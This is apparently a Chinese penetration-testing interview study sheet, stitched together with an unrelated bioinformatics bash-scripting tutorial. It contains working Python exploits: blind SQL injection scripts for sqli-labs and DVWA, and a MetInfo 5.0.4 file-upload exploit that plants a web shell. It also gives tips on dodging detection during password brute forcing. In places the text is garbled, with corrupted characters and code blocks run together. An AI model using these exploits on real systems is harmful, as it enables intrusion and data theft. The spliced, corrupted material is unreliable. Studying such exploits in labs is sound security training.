所以从某种程度而言,wet(和各种试剂打交道)和dry(和计算机打交道)实验人员是差不多的,都是有一个想法,然后通过实验进行验证。验证的过程中有一部分的探索性 的,另一部分是大量的重复性工作。
五十、说一下权限维持和权限提升的方法及原理什么是中间人攻击?#
1. 横向移动:攻击者通过探测网络中的主机和服务,利用已经获得的权限或漏洞进行横向移动,进一步获取更高的权限和敏感信息。#
2. 提权攻击:攻击者利用系统漏洞或者弱口令等方式,提升当前所拥有的权限。常见的提权方式包括本地提权、远程提权、服务提权等。#
3. 后门:攻击者通过植入后门或者恶意程序,维持访问权限,并在后续攻击中利用后门获取更多的权限和敏感信息。#
中间人攻击是一种网络攻击方式,攻击者通过在通信的两端之间插入自己的设备或者程序,窃取通信双方的数据,或者干扰通信流量,以达到获取敏感信息或者控制目标系#
统的目的。中间人攻击的主要原理是攻击者利用自己的设备或程序来模拟双方的通信,然后将双方的通信数据进行窃取或修改。中间人攻击常见的场景包括公共Wi-Fi、劫持
DNS服务器等。为防止中间人攻击,可以采取以下措施:使用HTTPS协议、验证证书的合法性、避免使用公共Wi-Fi、使用VPN等。五十一、说一下同源策略及同源策略四要素爆一组用户名和密码用什么模式?说一下数据流传输过程#
1. 协议:指的是URL中的协议部分,例如http、https等。
2. 域名:指的是URL中的主机名部分,例如www.example.com。
3. 端口:指的是URL中的端口号部分,例如 80 、 443 等。
4. 两个URL的协议、主机名、端口号必须完全相同,才能满足同源策略的限制条件。 爆一组用户名和密码可以使用爆破模式,爆破模式是一种暴力破解方式,通过不断尝试不
同的用户名和密码组合来获取目标系统的登录权限。在爆破过程中,可以通过字典暴力破解、暴力破解等方式进行攻击。为避免被检测和防御,可以采用分布式爆破、使用
代理等方式进行攻击。数据流传输过程指的是数据在网络中传输的过程,通常包括以下几个步骤:#
1.应用层:数据从应用程序中发送出去,例如HTTP请求、SMTP邮件等。#
2.传输层:数据通过传输层协议(如TCP、UDP)进行封装,形成传输层数据包。#
3.网络层:数据包经过网络层协议(如IP、ICMP等)进行封装,形成网络层数据包。#
4.数据链路层:数据包经过数据链路层协议(如Ethernet、PPP等)进行封装,形成数据链路层帧。
5.物理层:数据帧在物理层通过传输介质(如光纤、网线等)进行传输。 在数据传输过程中,需要采取一系列安全措施,例如加密、身份认证、防火墙等,保护数据的机密
性、完整性和可用性。五十二、正向代理和反向代理怎么连? ctf 杂项拿到一个一图片怎么测? ctf 你比较擅长哪一类?#
第二十章 语言#
一、可以用 php 写出网页或者项目嘛?写过脚本吗?#
为什么要写脚本#
dry相对于wet实验的一个好处就在于可以通过写脚本让计算机去 自动化 完成那些重复性的工作。另外,虽然前面使用管道能够很方便地处理数据,但是由于我们往往不会记录这 些过程,很容易导致实验不可重复,出了问题找不到原因,因此使用脚本还能对操作进行记录,提高 鲁棒性 (robust)。
由于这个脚本是用于处理mapping-by-sequencing,为了便于实践,推荐你们创建如下文件夹, 并下载SHOREmap提供的demo数据
我会根据我写的一个脚本讲解,然后你们可以根据自己的需求优化这个脚本,写出属于自己的脚本。#
一般第一个脚本我们都需要运行”hello world“,用来向 编程之神 祷告,让自己能够更容易的学习编程。在Linux中新建一个hello_world.sh,然后输入如下内容。
运行方式有两种#
下面这个脚本是为了帮助我自动完成重测序的工作。由于目前用的服务器性能堪忧,8G数据的alignmeng+snp calling的工作需要跑一天时间。按照初学时期的做法,就是手动输 入命令完成一个阶段的任务,然后继续下一个阶段。这极大降低了效率,万一程序在半夜完成,你无法马上继续下一阶段;而且不可能时刻盯着,你还要其他活要干,所以我写 了下面这个初级脚本用来完成任务。 这个脚本存放在script目录下。
前期准备#
如何写脚本#
# 进入家目录
cd ~
# 创建项目文件夹目录
mkdir mbs-2017-4 && cd mbs-2017-4
mkdir -p {data/{seq,reference},analysis,script}
cd data/seq
# 下载测序数据
wget -c -q http://bioinfo.mpipz.mpg.de/shoremap/data/software/BC.fg.reads1.fq.gz &
wget -c -q http://bioinfo.mpipz.mpg.de/shoremap/data/software/BC.fg.reads2.fq.gz &
wget -c -q http://bioinfo.mpipz.mpg.de/shoremap/data/software/BC.bg.reads1.fq.gz &
wget -c -q http://bioinfo.mpipz.mpg.de/shoremap/data/software/BC.bg.reads2.fq.gz &
# 解压缩
ls | while read id; do gunzip $id;done &
# 下载拟南芥参考基因组和注释文件
cd ../reference
wget -c -q http://bioinfo.mpipz.mpg.de/shoremap/data/software/TAIR10_chr_all.fas &
wget -c -q http://bioinfo.mpipz.mpg.de/shoremap/data/software/TAIR10_GFF3_genes.gff &
# 准备样本信息文件
cd ../../script
# 注意中间的空格为"\t"
vi sample.txt
BC.fg.reads1 R1 data/seq/BC.fg.reads1.fq.gz
BC.fg.reads2 R2 data/seq/BC.fg.reads1.fq.gz
BC.bg.reads1 R1 data/seq/BC.bg.reads1.fq.gz
BC.bg.reads2 R2 data/seq/BC.bg.reads1.fq.gz#! /bin/bash
echo "hello world"# 方法 1
bash hello_world.sh
# 方法 2
chmod u+x hello_world.sh
./hello_world.sh#! /bin/bashset -u
set -e
set -o pipefail# set work path
PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
work_dir=$1
sample_info=$2
reference=${work_dir}/data/reference/TAIR10_chr_all.fas# alignment
bwa index $reference
sample_names=($(cut -f 1 "$sample_info" | uniq))
mkdir -p ${work_dir}/analysis/align
cd ${work_dir}/data/seq
for sample in ${sample_names[@]}
do
# create an output file from the sample name
result_file="${sample}.sam"
bwa mem $reference ${sample}_R1.fastq ${sample}_R2.fastq > ${work_dir}/analysis/align/$result_file
#echo "$result_file"
done所谓良好的开端是成功的一半,拖延症主要原因就在于无法开始。无论你知不知道你要写啥,建立一个any_name.sh(any name就是你随便取一个名字,类似于any key)的文件 然后把下面 4 行代码写进去就对了。
第 1 行是shebang,是告知系统用什么解释器来运行这个程序(假设它可执行)。第2~3行的目的是让脚本更加“敏感“,默认状态下一行shell脚本会一行一行往下运行,即便出错 也不会终止,这 3 行代码就可以及时终止,避免rm -rf $NULL/*的惨剧发生。
写完了开头之后,我们就根据自己的预期,将日常中不断重复的工作写到脚本中。但是为了脚本具有普遍适用性,所以要用到#
所谓 变量 就是“指鹿为马”,比如我说reference=/genome/A.thalina/TAIR10_chr_all.fa,那么当你echo “$reference"的时候就会显示后面的内容,而不是referece。
命令参数 就是命令后接的部分,例如cat some.file的命令参数就是some.file。我们可以利用这个功能从外界传入自定义的内容。shell脚本以$0,$1,$2,$3..分别代表命令自 身,第一个参数,第二个参数,第三个参数等。 新建一个argument_test.sh,输入如下内容。
开头怎么写#
中间怎么写#
变量和命令参数#
条件语句#
循环语句和文件名替换#
变量和命令参数#
#snp calling
cd ${work_dir}/analysis/align
samfiles=$(ls *sam)
echo $samfiles
mkdir -p ${work_dir}/analysis/snp
for file in ${samfiles[@]}
do
output=${file%.*}
samtools view -b -o ${output}.bam ${file}
samtools sort -o ${output}.sorted.bam ${output}.bam
samtools index ${output}.sorted.bam
samtools mpileup -u -t DP -f $reference ${output}.sorted.bam | bcftools call -vm -Ov > ../snp/${output}.vcf
done# convert vcf4.2 to vcf 4.1
cd ${work_dir}/analysis/snp
infiles=$(ls *vcf)
for infile in ${infiles[@]}
do
bcftools view --max-alleles 2 -O v ${infile} | \
sed "s/##fileformat=VCFv4.2/##fileformat=VCFv4.1/" | \
sed "s/(//" | \
sed "s/)//" | \
sed "s/,Version=\"3\">/>/" | \
bcftools view -O z > ${infile%%.*}.dg.vcf.gz
done#!/bin/bash
set -e
set -u
set -o pipeline# set work path
PATH=/bin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
work_dir=$1
sample_info=$2
reference=${work_dir}/data/reference/TAIR10_chr_all.fas$ reference=/genome/A.thalina/TAIR10_chr_all.fa
$ echo $reference
/genome/A.thalina/TAIR10_chr_all.fa#! /bin/bashecho "command is $0"
echo "first argument is $1"
echo "second argument is $2"
echo "third argument is $3"运行结果:#
这里我传入了我项目的根目录和存放样本信息的文件。#
在我的脚本其实并没有用到条件语句,毕竟只是第一版,能用就行。正常情况下最好加上条件语句,提高脚本的适用性。#
[条件]可以用bash下的命令,例如
除了bash下的命令外,还可以用test或[]判断条件是否成立,如下
《鸟叔的Linux的私房菜》第三版的 380 页中提高了许多判断方式,一般常用的如下:
测试的标志 代表意义#
- d 是否为文件夹
- f 是否为文件
- e 文件是否存在
- h 是否为连接
- w 能否写入
- x 能否执行
str1 = str2 字符是否相同str1 != str2 字符是否不相同- eq 数值是否相等
- ne 数值是否不等
- lt 小于
条件语句#
$ bash argument_test.sh A B C
command is argument_test.sh
first argument is A
second argument is B
third argument is Cif [条件]
then
commands
else
comgmands
fi# 单个条件
if grep "pattern" some.file >/dev/null
then
echo "found 'pattern' in some.file"
fi
# 多个条件
# 或 || ; 与&& ;非!
if grep 'pattern1' some.file > /dev/null &&
grep 'pattern2' some.file > dev/null
then
echo "found 'pattern1' and 'pattern2' in some.file"
fi# -f 判断是否为文件
if test -f some.file
then
....
fi
# 或[] 记住里面的左右一定要有空格
if [ -f some.file ]
then
....
fi
# 这里的或是-o, 与是-a ,非还是!
if [ -f some.file -a -x some.fie ]
then
....
fi测试的标志 代表意义#
- gt 大于
- le 小于等于
- ge 大于等于
一般而言,创建一个pipline处理文件需要三个步骤:
而循环语句就是在选择目标文件后,用于重复相同的指令处理目标文件,还可以记录输出文件。#
其中选择目标文件有两种方式:1. 提供记录目标文件信息的文本,2.从含目标文件的文件夹内筛选。#
方法 1 :#
说明 ${sample_names[@]}的表示显示所有变量内容,我们可以选择特定的元素,将@替换成0,1,2,3(以 0 开始),此外 ${#sample_names[@]}表示共有多个元素, ${!sample_names[@]}表示各个元素的索引。
在将目标文件赋予变量后,就可以使用for循环对目标文件应用相应的命令。在我的脚本中,因为bwa比对软件需要两个输出文件,因此就需要对第一行的内容去重,然后在for 循环中添加后缀。也就是
方法 2 比较粗暴,直接利用通配符列出文件。#
这个脚本的主要目的是完成重测序的任务,目前还不太完善,需要注意一下几点:#
用法很简单:提供一个样本信息的文本(三列,样本名,R1/R2,所在文件目录),和文件的根目录在哪里,假设你在scripts下有了sample.txt和mbs.sh,则
循环语句和文件名替换#
选择目标文件#
使用指定命令处理目标文件#
追踪处理后的输出文件#
最后说说脚本怎么用#
比对的参数需要根据具体情况修改,#
要求具有特定的目录构造#
缺少日志信息输出,不利于调试#
对样本信息的格式有一定的要求,需要对sample_names=($(cut -f 1 "$sample_info" | cut -d '.' -f 1,2 | uniq))修改,不够人性化
后续寻找mutation需要其他程序支持。二、写过 exp 吗?#
# 假设你现在在mbs-2017-4/script下
sample_info=sample.txt
sample_names=($(cut -f 1 "$sample_info" ))
echo "${sample_names[@]}"
BC.fg.reads1 BC.fg.reads2 BC.bg.reads1 BC.bg.reads2# alignment
sample_names=($(cut -f 1 "$sample_info" | cut -d '.' -f 1,2 | uniq))
mkdir -p ${work_dir}/analysis/align
cd ${work_dir}/data/seq
for sample in ${sample_names[@]}
do
# create an output file from the sample name
result_file="${sample}.sam"
bwa mem $reference ${sample}.read1.fastq ${sample}.read2.fastq > ${work_dir}/analysis/align/$result_file
echo "$result_file"
donesample_names=$(ls *.fq)
for sample in ${sample_names[@]}
dochmod u+x mbs.sh
./mbas sample.txt /path/to/projectpython编写EXP,以web漏洞为主 exp 漏洞利用工具 1 、能够看懂别人写的exp,并修改 2 、能自己写exp
下载一个Python解释器,官网下载,这里以3.9版本为例 https://www.python.org/ftp/python/3.9.0/python-3.9.0-amd64.exe
一:概述#
二:环境准备#
基础环境python3
核心模块requests模块说明
requests是使用Apache2 license 许可证的http库
用python编写,比urllib2模块更简洁
requests支持http连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和post数据自动编码。
内置模块的基础上进行了高度的封装,从而使得python进行网络请求时,变得人性化,使用request可以轻而易举的完成浏览器可有的任何操作。这里有一篇怎么安装第三方库requests https://www.cnblogs.com/testerlina/p/12466124.html 亦或是,cmd运行窗口:pip install requests
怎么才算安装完成呢?当你输入import requests没有任何提示的时候,就说明安装完成了。
准备一台win2008,开启phpstudy服务,并且在www目录下创建一个python_test的文件夹,文件夹里有个get.php文件 文件内容如下:
三:requests库#
速查
http方法
GET 获取资源
POST 传输实体主体
PUT 传输文件
HEAD 获得响应报文首部
DELETE 删除文件
OPTIONS 查询支持的方法
TRACE 追踪路径
CONNECT 要求用隧道协议连接代理
LINK 建立和资源之间的连接
UNLINK 断开连接关系
requests模块中的http方法
res = requests.get()3.1:发送get请求#
3.2:相关方法#
res = requests.post()
res = requests.put()
res = requests.delete()
res = requests.head()
res = requests.options()参数
GET参数 params
HTTP头部 headers
POST参数 data
文件 files
Cookies cookies
重定向处理 allow_redirects = False/True
超时 timeout
证书验证 verify = False/True
工作流(延迟下载) stream=False/True
事件挂钩 hooks=dict(response=)
身份验证 auth=
代理 proxies=对象方法
URL .url
text .text
编码 .encoding|.encoding=
响应内容 .content
Json解码器 .json
原始套接字响应 .raw|.ras.read()(需要开启stream=True)
历史响应代码 .history
抛出异常 .raise_for_status()
查看服务器响应头 .headers
查看客户端请求头 .request.headers
查看Cookie .cookies
身份验证 .auth=
更新 .update
解析连接字头 .links[]requests.get("http://192.168.152.136/python_test/get.php")获取正文 res.text
获取响应状态码 res.status_code
获取响应编码 res.encoding
以二进制方式获取响应正文 res.content
获取响应头部 res.headers
获取提交的url(包括get参数) res.url
获取发送到服务器的头信息 res.request.headers重新定义头部信息(User-Agent)信息
在win2008上新建一个timeout.php文件,如下图:
3.3:相关操作#
3.3.1:定制头部#
3.3.2:超时#
>>> import requests
>>> url = "http://192.168.152.136/python_test/get.php"
>>> header = {"User-Agent":"Q_Q"}
>>> res = requests.get(url=url,headers=header)
>>> print(res.request.headers)
{'User-Agent': 'Q_Q', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}新建一个文件,命名为timeout.py
代码内容:#
保存在桌面,然后按F5运行。#
getpara.py
post.php 内容:
3.3.3:GET传参#
3.3.4:post参数
import requests
url = "http://192.168.152.136/python_test/timeout.php"
try:
res = resquests.get(url=url,timeout=3)
print(res.text)
except Exception as e:
print("Timeout!")import requests
url = "http://192.168.152.136/python_test/get.php"
get_para = {"name":"q_q","password":"123"}
res = requests.get(url=url,params=get_para)
print(res.text)
print(res.url)<?php
var_dump($_POST);
?>uploadfile.py 内容:
uploadfile.php 内容:
3.3.5:文件上传#
import requests
url = "http://192.168.100.250/python_test/uploadfile.php"
upload_file = {"userUpFile":open("postData.py", "rb")}
postData = {"userSubmit":"上传"}
res = requests.post(url=url, files=upload_file, data=postData)
print(res.text)\<html\>
<meta charset="utf-8">
\<h1\>
文件上传测试
</h1>
<form
action=""
method="post"
enctype="multipart/form-data"
>
<input type="file" name="userUpFile">
<input type="submit" name="userSubmit" value="上传">
</form>
</html>
<?php
echo "\<pre\>";
if(isset($_POST['userSubmit'])){
var_dump($_FILES);
$tmp_path=$_FILES['userUpFile']['tmp_name']; # 文件名
$path=__DIR__."\\".$_FILES['userUpFile']['name']; # 绝对路径+文件名
// echo $tmp_path;
// echo "<hr />";
// echo $path;
// echo "<br />";
if(move_uploaded_file($tmp_path,$path)){
// move_uploaded_file(参数 1 ,参数2);将上传的缓存文件的目录(参数 1 )保存到参数 2 目录下
echo "upfile success!";
echo "<br />".$_FILES['userUpFile']['name'];
echo $path;
}else{
echo "upfile failed";
}效果图#
chongdingxiang.php内容:
chongdingxiang.py内容:
效果如下图:#
3.3.6:重定向#
}
?><?php
header('location:./get.php');
echo "this is chongdingxiang page!!!";
?>import requests
url = "http://192.168.100.250/python_test/chongdingxiang.php"
res = requests.get(url=url)
print(res.text)
print(res.history)res = requests.get(url=url,allow_redirects=False)
print(res.headers)
print(res.text)cookie.php内容:
cookies.py内容:
效果图#
以sqli-labs-master-8为例: 首先布尔盲注知识点笔记回顾:
存在布尔盲注,那么怎么来判断布尔盲注状态呢?#
盲注是利用的页面回显的内容来进行判断的,那么我们只需要确定页面不一致即可,所以只需要通过Python计算页面的字符的长度即可判断页面是否发生了变化。
sqli-labs-8.py源码:
3.3.7:cookie
四:python实现布尔盲注#
<?php
var_dump($_COOKIE);
?>import requests
url = "http://192.168.100.250/python_test/cookie.php"
coo = {"name":"q_q"}
res = requests.get(url=url, cookies=coo)
print(res.text)原理:利用页面返回的布尔类型状态,正常或者不正常
获取数据库名:
数据库名长度
[?id=33 and length(database())=1 --+]
...
[?id=33 and length(database())=3 --+]
可以断定,当前数据库名的长度为 3 。
数据库名
[?id=33 and ascii(substr(database(),1,1))=99 --+]
由此可知数据库名的第一个字母的ascii码为 99 ,即是字母c。import requestsurl = "http://192.168.100.250/sqli-labs-master/Less-8/"
# 计算页面长度
normal_html_len = len(requests.get(url=url + "?id=1").text)
print("the len of html: " + str(normal_html_len))# 获取数据库名长度
db_name_len = 0
while 1:
# and左右两边的+是用来代替浏览器地址的空格
db_name_len_url = url + "?id=1'+and+length(database())=" + str(db_name_len) + "--+"测试结果图:#
以sqli-labs-9为例: 同样的,首先回顾下延时注入的知识点笔记:
sqli-labs-9.py源码:
五:python实现延时注入#
print(db_name_len_url)
if len(requests.get(db_name_len_url).text) == normal_html_len:
print("database len: " + str(db_name_len))
break
else:
if db_name_len <= 30:
db_name_len += 1
else:
print("error, database not exist")
break# 获取数据库名
# ascii取值范围a-z:97-122
db_name = ""
for i in range(1, db_name_len + 1): # 长度等于 8 ,左闭右开区间
for j in range(97, 123):
db_name_url = url + "?id=1'+and+ascii(substr(database()," + str(i) + ",1))=" + str(j) + "--+"
print(db_name_url)
if len(requests.get(db_name_url).text) == normal_html_len:
db_name += chr(j) # 把ascii码的数字转换为字母
break
print("db_name is : ", db_name)原理:利用sleep()语句的延时性,以时间线做为判断条件。
获取数据库名
获取数据库名长度
[?id=33 and if((length(database())=3),sleep(5),1)--+]
数据库名第二位
[?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]
由此可知,数据库名第二个字母的ASCII码值为 109 ,即是字母m。import requests
import string # 导入string模块,是为了用里面的a-z的方法url = "http://192.168.100.250/sqli-labs-master/Less-9/"def timeout(url):
try:
res = requests.get(url, timeout=3) # 设置浏览器的访问时间,timeout是get里面的参数,不能换成其他的
return res.text # 返回html页面内容
except Exception as e:
return "timeout" # 返回timeout,表示延时注入成功。db_name_len = 1
while 1:
# 延迟 5 秒注入
db_name_len_url = url + "?id=1'+and+if((length(database())=" + str(db_name_len) + "), sleep(5), 1)--+"
print(db_name_len_url)
if "timeout" in timeout(db_name_len_url):
print("db_name_len is: ", db_name_len)
break
else:
db_name_len += 1
if db_name_len == 30:
print("error, db_name_len is error")
break'''效果图:#
关于argv的解释: 给个大佬的链接: https://www.cnblogs.com/aland-1415/p/6613449.html
六:python实现文件上传#
上面得到数据库长度为 8 ,接下来获取数据库名
'''
db_name = ""
for i in range(1, 9):
for j in string.ascii_lowercase: # string.ascii_lowercase:a-z
db_name_url = url + "?id=1'+and+if((substr(database(), " + str(i) + ", 1)='" + j + "'), sleep(5), 1)--+"
print(db_name_url)
if "timeout" in timeout(db_name_url):
db_name += j
print("db_name is : ", db_name)
break重要部分的截图#
在PHP中,单引号(’)和双引号(")都可以用来表示字符串。它们之间的主要区别在于:#
phpinfo.me是一个在线的PHP信息展示工具,它可以显示PHP的版本、编译选项、已加载的扩展、配置信息等。它主要用于诊断PHP环境问题,检查PHP配置和扩展是否正确安 装和启用。
三、说一下 php 里面单引号和双引号的区别#
1. 双引号可以解析变量和转义字符,而单引号不可以。 例如,如果您有一个名为$name的变量,您可以在双引号中写入 "Hello $name",而在单引号中写入 'Hello
����′,那么在双引号中, nam**e ′,那么在双引号中,name将被解析为变量的值,而在单引号中,$name将被视为一个字符串字面量。
2. 双引号中可以包含单引号,而单引号中可以包含双引号,而不需要转义。 例如,您可以在双引号中写入 "It's a beautiful day",而在单引号中写入 'He said, "Hello"',而不
需要使用任何转义字符。 总的来说,如果您需要在字符串中使用变量或转义字符,应该使用双引号;如果您不需要这些功能,并且想要更快地处理字符串,应该使用单引
号。四、phpinfo.me 用它来干什么?有自己写过 POC 吗?#
import requests
import sys# 大概解释:sys.argv[] 可以看到做是一个数组,sys.argv[0]代表的自己本身,sys.argv[1]代表的是后面的第一个参数,依次类推。
url = sys.argv[1]
path = sys.argv[2]
# 这是表单地址
post_url = url+"http://192.168.100.250/metinfov504/metinfov504/admin/include/uploadify.php?
metinfo_admin_id=aaa&metinfo_admin_pass=123.com&met_admin_table=met_admin_table%23&type=upfile&met_file_format=jpg|pphphp"
up_file = {"FileData":open(path, "rb")}
res = requests.post(url=post_url, files=up_file)
print("The Shell path:"+url+res.text[4:]) # 做一个地址切片处理1.2 随机UA头#
简单的函数不解释,可以添加更多UA头到列表中#
1.3 协议的判断#
尤其是参数没有协议头的时候要检测,理解了老师讲的逻辑就很好写了#
1.4 判断请求头中的两种参数是否给出#
1.健全的请求框架需要注意的点#
1.1 忽略证书安全性发送请求时添加以下参数即可#
# roll一个随机user-agent def getRandomUA():
ua_list = [
'Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)',
'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',
'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11'
]
return "".join(random.sample(ua_list, 1))防止像log4j2那样的时候,服务端建立了链接却不响应拖死我们的请求很简单,请求的时候添加timeout参数即可,比如
2.1 无参型GET请求#
1.2设置连接超时时间#
1.3获取三种返回值#
2.方法的实现#
2.2 有参型GET请求#
比起无参数的get请求只要传入一个用户定义的参数字典赋值给data,发起请求的时候带上data = data即可
2.3 POST请求#
post请求的内容以字典形式传入,赋值给param,发送请求的时候带上params=param参数即可
拿dnslog试一下
是以表单形式提交的没错#
用dnslog看一下也是以json的形式提的
- 对接dnslog平台
请求二级域名时http://www.dnslog.cn/getdomain.php传递的t参数使用了系统当前时间戳,roll一个随机sessionid的时候遇到了困难,写死sessionid没有问题,一旦roll了随机 的就刷新不出结果,反复测试了一下发现sessionid应该是不可以有.的,因此我们roll随机数的时候乘以一个大点的数后取整即可
跑一下,获取二级域名并刷新显示纪录是没有问题的#
如果在php.ini开启了某些函数,那么可以使用这些函数来进行文件写入,前提是您有足够的权限来访问和写入目标文件。但是,需要注意的是,开启危险的函数可能会带来安 全隐患,使得您的系统容易受到攻击。因此,建议您仅开启必要的函数,同时做好安全防护措施,例如限制文件访问权限、过滤用户输入等。另外,即使禁用了某些函数,仍然 有其他方法可以进行文件写入,例如使用文件上传漏洞、利用Web Shell等,因此,您需要全面考虑安全问题,而不仅仅是依赖于某个开关的设置。
五、如果在 php.ini 开启函数还能不能进行文件写入?#
六、说一下 php 反序列化的原理,触发的原理,有哪些魔术方法? php 反序列换魔术方法怎么会被#
调用?#
PHP反序列化是将序列化后的数据还原为对象的过程。在PHP中,可以使用serialize函数将对象序列化为字符串,然后使用unserialize函数将字符串反序列化为对象。反序 列化可以用于从缓存、数据库或网络中获取并还原对象。反序列化漏洞是指攻击者利用未经过充分验证的用户输入,注入恶意序列化数据,从而导致脚本在反序列化时执行恶意 代码,从而实现攻击的一种漏洞。
反序列化漏洞的触发原理是将恶意的序列化数据注入到程序中,并在反序列化时执行恶意代码。攻击者可以通过注入精心构造的序列化数据,来实现执行任意代码、读取敏感数 据、修改数据等操作。
PHP中的魔术方法(Magic Method)是一组方法,可以在对象生命周期的特定时刻被调用。在反序列化时,PHP会自动调用对象的__wakeup和__destruct方法。攻击者可以 利用这些魔术方法,来实现恶意代码的执行。__wakeup方法在反序列化时被调用,可以用于初始化对象的状态。攻击者可以在__wakeup方法中注入任意代码,从而实现攻 击。__destruct方法在对象销毁时被调用,可以用于释放资源和清理状态。攻击者可以在__destruct方法中注入任意代码,从而实现攻击。魔术方法会在特定时刻自动被调 用,因此,攻击者可以通过构造恶意序列化数据,来触发这些方法的执行,并实现攻击。
PHP支持多种函数协议,包括本地文件系统协议(file://)、HTTP协议(http://)、FTP协议(ftp://)、PHP输入协议(php://input)等。这些协议可以让PHP访问不同的资 源,例如本地文件、远程文件、输入流等。
判断一个Web站点是PHP还是Java编写的方法有很多。以下是一些可能的方法:
PHP和Java都有各种各样的框架,每个框架都可能存在不同类型的漏洞。以下是一些常见的PHP框架和Java框架的漏洞:
PHP框架漏洞:1. Laravel框架:Laravel框架曾经存在路由器漏洞,攻击者可以利用这个漏洞执行任意代码。2. Yii框架:Yii框架曾经存在SQL注入漏洞、路径遍历漏洞等。3. CodeIgniter框架:CodeIgniter框架曾经存在XSS漏洞、文件上传漏洞等。
Java框架漏洞:1. Struts框架:Struts框架曾经存在表达式语言注入漏洞、远程代码执行漏洞、文件上传漏洞等。2. Spring框架:Spring框架曾经存在远程代码执行漏洞、目录遍 历漏洞等。3. Hibernate框架:Hibernate框架曾经存在SQL注入漏洞、反序列化漏洞等。
在 PHP 中,有多个函数可以执行 PHP 代码。以下是其中一些常用的函数:#
1.eval():将字符串作为 PHP 代码执行。
2.include() 和 require():包含指定文件并执行其中的 PHP 代码。
3.file_put_contents() 和 fwrite():将指定的字符串写入到指定的文件中,从而实现将 PHP 代码写入文件并执行的目的。
4.shell_exec() 和 exec():执行系统命令或外部程序,可以用于执行包含 PHP 代码的外部文件。
5.preg_replace():可以使用正则表达式替换字符串,其第二个参数可以是一个 PHP 代码字符串,从而实现执行 PHP 代码的目的。
6.assert():用于检查某个条件是否成立,如果条件不成立则触发一个错误。其第一个参数可以是一个 PHP 代码字符串,从而实现执行 PHP 代码的目的。
sql盲注其实就是sql注入的一种,但是不会根据sql注入的攻击语句返回你想要知道的信息. 盲注分为两种: 布尔盲注以及时间盲注 布尔盲注:
根据你的注入信息返回True和Fales,而返回的True和Fales可能有不同的表现形式,根据不同的网页分析.时间盲注:
当界面的返回值只有一种true的时候,就需要加入特定的时间函数,通过判断加载web页面的时间差来确定注入的语句是否是正确的.盲注的过程:
七、php 有哪些函数协议?如何在不使用插件和工具的情况下判断一个 web 站点是 PHP 还是 java#
编写?#
1. 查看网站后缀:如果网站的URL以.php结尾,则很可能是PHP编写的;如果以.jsp或.jsf结尾,则很可能是Java编写的。
2. 查看HTTP响应头:可以使用浏览器开发者工具或者curl等工具查看网站的HTTP响应头。如果响应头中包含“X-Powered-By: PHP”或“Server: PHP”,则很可能是PHP编写的;
如果包含“X-Powered-By: Java”或“Server: Apache Tomcat”等信息,则很可能是Java编写的。
3. 查看HTML源代码:可以查看网站的HTML源代码,看是否包含PHP或Java语言的特定标记或语法。例如,PHP通常使用标记,而Java通常使用<%和%>标记。 需要注意的
是,这些方法都不能100%确定一个Web站点的编写语言,因为有些网站可能使用Rewrite等技术隐藏URL后缀,或者使用反向代理等技术隐藏响应头信息。因此,建议综合
使用多种方法来判断一个Web站点的编写语言。八、说一下 php 框架有那些漏洞,java 框架有哪些漏洞?#
九、知道哪些 php 代码执行函数?#
十、如何用 python 实现 sql 注入盲注的脚本?#
SQL Injection (Blind)#
1.判断是否存在注入,注入是字符型还是数字型#
2.猜解当前数据库名 -> 猜解数据库的长度 -> 猜解数据库的名称#
3.猜解数据录中的表名 -> 猜解库中有几个表 -> 猜解表的长度 -> 猜解表的名称#
4.猜解表中的字段名 -> 猜解表中有几个字段 -> 猜解字段的长度 -> 猜解字段的名称#
5.猜解数据#
环境 : dvwa搭建在win7 x64系统,IP为:192.168.157.137. 界面:
输入正确时:#
输出错误时:#
相当于是返回运行结果是true还是fales,布尔盲注和时间盲注都是可以的,这里我们使用布尔型的盲注. 基于以上情况,为了更好的理解盲注,编写了一个盲注的脚本,还请各位大佬指点.
注: 该脚本是基于Low级别所写,想要在medium级别下运行,需要修改头部信息以及上传的参数. high级别预防了自动化工具的使用,所以无法使用脚本. 并且该脚本是建立在目标服务器使用的mysql 5.0版本以上的数据库才行,因为有information_schema库,否则就需要使用大量的字典匹配.
我会将脚本的每个阶段的都大致解释一下,在最下面放置脚本的完整版.#
用来构建header头部信息,以及得到requests中的url参数
脚本主体#
def get_header():
print('输入处于sql注入界面的完整URL,eg "http://192.168.157.137/DVWA-master/vulnerabilities/sqli_blind/"')
url = input()
ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}',url).group()cookie = input('将已经登陆的PHPSESSID值输入(burp可以抓到,或者审查页面元素查看cookies):')
headers={
'Host': f'{ip}',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Referer': f'{url}',
'Connection': 'close',
'Cookie': f'security=low; PHPSESSID={cookie}',
'Upgrade-Insecure-Requests':'1'
}
return headers,url访问构建好的url,并且判断结果是True还是Fales
判断网站是否存在注入点:#
判断数据库名的长度.#
猜解数据库名,这里使用substr函数遍历数据库名中的每一个字母,与ascii码进行匹配,匹配成功则返回true
接下来就应该判断该数据库有几张表#
使用count函数计算该库中有几张表,并且因为python中的for循环的运行速度是快过完全使用python写出来的while循环的,所以我习惯是使用for循环.
为了得到所有的表名,需要先知道每个表的字段名长度.#
def judge(text):
try:
if 'exists' in re.search('User ID.*?database',text).group():
return 1
else :
return 0
except:
return 0
def low_res(sql):
Id = f'?id={sql}&Submit=Submit#'
#print(url+Id)
r = requests.get(url+Id,headers=headers).text
#print(r)
return judge(r)print('<-- 判断该网页是否存在注入点-->')
